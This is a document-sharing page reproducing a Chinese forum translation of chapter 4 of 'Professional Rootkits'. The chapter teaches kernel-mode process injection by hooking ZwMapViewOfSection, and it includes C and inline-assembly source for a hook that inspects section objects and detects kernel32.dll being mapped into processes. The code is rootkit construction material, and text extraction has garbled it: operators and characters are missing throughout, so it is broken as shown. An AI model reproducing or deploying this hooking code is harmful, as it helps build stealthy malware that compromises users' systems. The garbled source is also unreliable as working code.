Professional.Rootkits第四章

上传人:宝路 文档编号:2755112 上传时间:2017-07-27 格式:DOC 页数:79 大小:463KB
返回 下载 相关 举报
Professional.Rootkits第四章_第1页
第1页 / 共79页
Professional.Rootkits第四章_第2页
第2页 / 共79页
Professional.Rootkits第四章_第3页
第3页 / 共79页
Professional.Rootkits第四章_第4页
第4页 / 共79页
Professional.Rootkits第四章_第5页
第5页 / 共79页
点击查看更多>>
资源描述

《Professional.Rootkits第四章》由会员分享,可在线阅读,更多相关《Professional.Rootkits第四章(79页珍藏版)》请在金锄头文库上搜索。

1、 看雪软件安全论坛 看雪论坛 资料导航 黑客技术与防范 【翻译】Professional.Rootkits 第四章(更新完毕) 欢迎您,gjden 您上次访问的时间是: 2010-03-23,11:56:40 悄悄话: 未读 0 条,总共 4 条。 控制面板 论坛帮助 社区 日历事件 查看新帖 搜索 快速链接 退出论坛 社区链接 圈子 照片与相册 联系人与好友 社区银行 搜索论坛 显示主题 显示帖子 标签搜索 高级搜索 Google 快速搜索 我的帖子 我的主题 今日新帖 快速链接 今日新帖 标记版面已读 打开联系人窗口 最新精华 用户控制面板 编辑个人详细资料 编辑论坛选项 其他 悄悄话 收

2、藏的主题 您的个人资料 转到页面. 主题工具 搜索本主题 显示模式 本站声明:看雪论坛文章版权属于作者,受法律保护。没有作者书面许可不得转载。若作者同意转载,必须以超链接形式标明文章原始出处和作者信息及本声明! kuang110 普通会员资料:注册日期: J un 2004帖子: 138 精华: 6现金: 75 Kx 1 【翻译】Professional.Rootkits 第四章(更新完毕) -标 题: 【翻译】Professional.Rootkits 第四章(更新完毕)作 者: kuang110时 间: 2008-06-03, 19:50:27链 接: http:/bbs. 用户层函数声

3、明跳转挂钩技术一个基本的进程注入实例进程注入当一个Windows 应用程序被加载到内存时, 应用程序被加载到内存,所有在动态链接库(DLLs)中定位的必要的外部函数被加载到同一个内存空间。就像应用程序的组成部分一样这些外部函数被映射到内存。内核函数 ZwMapViewOfSection 来负责映射关系。一旦 ZwMapViewOfSection被挂钩,动态链接库函数的映射关系就可以被改变。因为在加载一个DLL 时增加每一个函 数就必须将其复制到内存来调用进程,替换函数也同样需要被注入到这个内存空间-这就是所谓的进程注入。图 4-1 所示为ZwMapViewOfSection。 图 4-1 查找

4、一个特殊的动态链接库查找一个被 ZwMapViewOfSection加载的特殊库文件,你需要修改NewZwMapViewOf 节,并增加一个新的功能函数, IsSameFile。而不是完成全部工程和同时描述所有动作,本章将增加一些小的代码片段并依次讲解每个代码段。下面是对hookManager.c 的初 始化修改:BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString)USHORT index;USHORT longLen;USHORT shortLen;USHORT count;/ Check input

5、if( !shortString |shortString-Length = 0 |!longString |longString-Length = 0 |(shortString-Length longString-Length)return FALSE;index = longString-Length / 2; / wchar_t len is len / 2/ search backwards for backslashwhile( -index )if ( longString-Bufferindex = L )break;/ check for same length firstl

6、ongLen = (longString-Length / 2) - index - 1;shortLen = shortString-Length / 2;if( shortLen != longLen ) return FALSE;/ Comparecount = 0;while ( count Buffer+index != shortString-Buffercount+ )return FALSE;/ Match!return TRUE;IsSameFile 是被用来比较一个全路径名和一个特殊文件名。 如果全路径名最后一个反斜杠后面的文件名和特殊文件名相匹配,那么这个函数返回结果为真

7、。是的,如果不是一个内核函数,这将更容易实现。同样道理,当工作在内核模式时你将需要写一些你自己的功能函数。有许多用户模式下的类库和框架可以在程序设计工作中被引用,但是内核等级的支持就不是那么容易得到的,因此希望大家能够从零开始编写出更多的高效的功能。NTSTATUS NewZwMapViewOfSection(IN HANDLE SectionHandle,IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN ULONG ZeroBits,IN ULONG CommitSize,IN OUT PLARGE_INTEGER SectionOff

8、set OPTIONAL,IN OUT PSIZE_T ViewSize,IN SECTION_INHERIT InheritDisposition,IN ULONG AllocationType,IN ULONG Protect )NTSTATUS status;/ First complete the standard mapping processstatus = OldZwMapViewOfSection(SectionHandle,ProcessHandle,BaseAddress,ZeroBits,CommitSize,SectionOffset OPTIONAL,ViewSize

9、,InheritDisposition,AllocationType,Protect );/ Now remap as required ( imageOffset only known for versions 4 & 5 )if( NT_SUCCESS( status ) & ( majorVersion = 4 | majorVersion = 5 ) ) unsigned int imageOffset = 0;VOID* pSection = NULL;unsigned int imageSection = FALSE;HANDLE hRoot = NULL;PUNICODE_STR

10、ING objectName = NULL;PVOID pImageBase = NULL;UNICODE_STRING library1 = 0 ;/ Image location higher in version 4if( majorVersion = 4 )imageOffset = 24;if( ObReferenceObjectByHandle( SectionHandle,SECTION_MAP_EXECUTE,*MmSectionObjectType,KernelMode,&pSection,NULL ) = STATUS_SUCCESS )/ Check to see if

11、this is an image section/ If it is, get the root handle and the object name_asmmov edx, pSectionmov eax, edx+14hadd eax, imageOffsetmov edx, eaxtest byte ptr edx+20h, 20hjz not_image_sectionmov imageSection, TRUEmov eax, edx+24hmov edx, eax+4mov hRoot, edxadd eax, 30hmov objectName, eaxnot_image_sec

12、tion:if( BaseAddress )pImageBase = *BaseAddress;/ Mapping a DLLif( imageSection & pImageBase & objectName & objectName-Length 0 )RtlInitUnicodeString( &library1, Lkernel32.dll ); if ( IsSameFile( &library1, objectName ) )DbgPrint( comint32: NewZwMapViewOfSection found KERNEL32! );elseDbgPrint( comin

13、t32: NewZwMapViewOfSection object = %wZ, objectName ); ObDereferenceObject( pSection );return status;新的 NewZwMapViewOfSection 函数的第一个任务是调用原来的老函数。这是因为涉及的 DLL 必须在追加的函数被 注入前被加载。在 DLL 被加载 后,你必须 检测一下比确保成功。除了检测成功之外,还需要做版本检测。这个检测是唯一不确定的,因为版本检测已经被加到 DriverEntry (如果你想知道我为什么完成 majorVersion 和 minorVersion 全部)。版

14、本检测的原因是基于主要版本4 和 5 的镜像位置不同。一旦镜像定位被确定,检测是用来确定被映射的节是否是一个实际的镜像。如果被映射的节是一个具有有效基地址和有效名的镜像,那么进程继续执行。这里,我们所关心的 DLL 测试可以使用新的功能函数 IsSameFile 来完成。现在,如果它是目标 DLL 将会输出一个 简单的 debug 调试 语句。注意可以使用格式化字符串中的%wZ 作为第二个DbgPrint。这是统一编码字符串的区分符。内核模式rootkit 开发中统一编码字符串将广泛使用;知道如何输出他们将会是你的工作得心应手。针对宽位字符和宽位字符串你可能还会分别使用到%C 和%S。如果你想

15、完成和安装这个rootkit,你将会看到每个已启动的应用程序加载的每个DLL 都会有一 个 debug 调试语句 ,并且当 kernel32.dll 被加载时将看到一个特殊的调试语句。大多数应用程序都会使用 kernel32.dll,因此找到他们不会很难。定义一个挂钩函数在进行挂钩逻辑操作之前,应该 ntddk.h 文件来声明原 函数,然后通过剪切、粘贴、修改ntddk.h 中的原函数原型来为新挂钩函数创建声明 。然而没有一个头文件你将从哪得到函数原型信息呢? 很可能你需要挂钩的函数是无正式文档说明的,没有头文件,没有演示调用目标函数的例程。还有可能你需要挂钩的函数连输出都没有。这些问题可以用 IDA 来修补。在第一章中我们提到过,IDA 是一个反编译程序,可以将机器码分解为汇编码。如果你用IDA 打开一个目标 D

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 行业资料 > 其它行业文档

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号